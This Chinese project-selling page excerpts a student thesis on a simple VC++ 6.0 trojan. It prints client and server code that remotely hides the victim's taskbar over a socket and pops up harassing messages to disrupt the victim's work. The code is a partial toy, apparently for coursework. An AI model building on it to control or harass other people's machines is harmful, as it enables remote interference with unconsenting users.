网站导航网学 原创论文 网站设计 最新系统 最新研究 原创论文 获取论文 论文降重 发表论文 论文发表 UI设计定制 论文答辩PPT格式排版 期刊发表 论文专题
返回网学首页
网学原创论文
最新论文 推荐专题 热门论文 论文专题
当前位置: 网学 > 设计下载 > VC与C++类别 > 正文

VC++6.0为开发平台设计的一个简单的木马程序

来源:http://myeducs.cn 联系QQ:点击这里给我发消息 作者: 用户投稿 来源: 网络 发布时间: 13/05/14

以下是网学网为您推荐的VC与C++类别-VC++ 6.0为开发平台设计的一个简单的木马程序,希望本篇文章对您学习有所帮助。

QQ交谈客服咨询,网学网竭诚为您服务,本站永久域名:myeducs.cn

1.1.1    隐藏并开启任务栏

serverclient连接以后,单击client的隐藏任务栏和开启任务栏按钮,就可以实现对server端任务栏的隐藏和开启的功能。这个功能的实现方式如下:client端点击“隐藏任务栏” ,并发送消息到server端。Server端通过添加HideTaskBar()函数来隐藏任务栏,添加UnHideTaskBar()函数来开启任务栏。隐藏任务栏和开启任务栏的具体效果如图3-73-8

  

服务端核心代码:

隐藏任务栏HideTaskBar()函数具体实现如下:

int CMainFrame::HideTaskBar()

{

CWnd *task;

task = (CWnd*)FindWindow("Shell_TrayWnd", NULL);

task->ShowWindow(SW_HIDE);

return 0;

}

开启任务栏UnHideTaskBar()函数具体实现如下:

int CMainFrame::UnHideTaskBar()

{

CWnd *task;

task = (CWnd*)FindWindow("Shell_TrayWnd", NULL);

task->ShowWindow(SW_SHOW);

return 0;

}

客户端核心代码:

隐藏任务栏

void CClientDlg::OnHide()

{

CSocket sockClient;

sockClient.Create();

CString ip,strError;

m_ip.GetWindowText(ip);  //获得IP

int conn=sockClient.Connect(ip, PORT-1); 

if(conn==0)

{

AfxMessageBox("_SendMsgThread Connect错误!"+GetLastError());

sockClient.ShutDown(2);

sockClient.Close();

AfxEndThread(1L);

}

int end=0;

end=sockClient.Send("H",FLAG);

if(end==SOCKET_ERROR)

{

AfxMessageBox("_SendMsgThread Send错误!"+GetLastError());

}

else if(end!=2)

{

AfxMessageBox("消息头错误");

}

}

如果连接正确应该返回2

开启任务栏函数

void CClientDlg::OnOpen()

{

// TODO: Add your control notification handler code here

CSocket sockClient;

sockClient.Create();            

CString ip,strError;

m_ip.GetWindowText(ip);  //获得IP

int conn=sockClient.Connect(ip, PORT-1); 

if(conn==0)                                          

{

AfxMessageBox("_SendMsgThread Connect错误!"+GetLastError());

sockClient.ShutDown(2);

sockClient.Close();

AfxEndThread(1L);

}

int end=0;

end=sockClient.Send("O",FLAG);

if(end==SOCKET_ERROR)

{

AfxMessageBox("_SendMsgThread Send错误!"+GetLastError());

}

else if(end!=2)

{

AfxMessageBox("消息头错误");

}

}

1.1.2    发送消息

serverclient连接以后,在client的文本框中写入“你中木马了”,然后单击client的发送消息按钮,就可以将“你中木马了”发送到server端。Client可以不断向server端发送消息,来干扰server端用户的正常工作。Server接收到这条消息后通过调用API函数AfxMessageBox(),将“你中木马了”显示到屏幕上。


 

 

本站发布的计算机毕业设计均是完整无错的全套作品,包含开题报告+程序+论文+源代码+翻译+答辩稿PPT

本文选自计算机毕业设计http://myeducs.cn
论文文章部分只是部分简介,如需了解更多详情请咨询本站客服!QQ交谈QQ3710167

原创论文

设为首页 | 加入收藏 | 论文首页 |原创论文 |
版权所有 QQ:3710167 邮箱:3710167@qq.com 网学网 [Myeducs.cn] 您电脑的分辨率是 像素
Copyright 2008-2020 myeducs.Cn www.myeducs.Cn All Rights Reserved 湘ICP备09003080号 常年法律顾问:王律师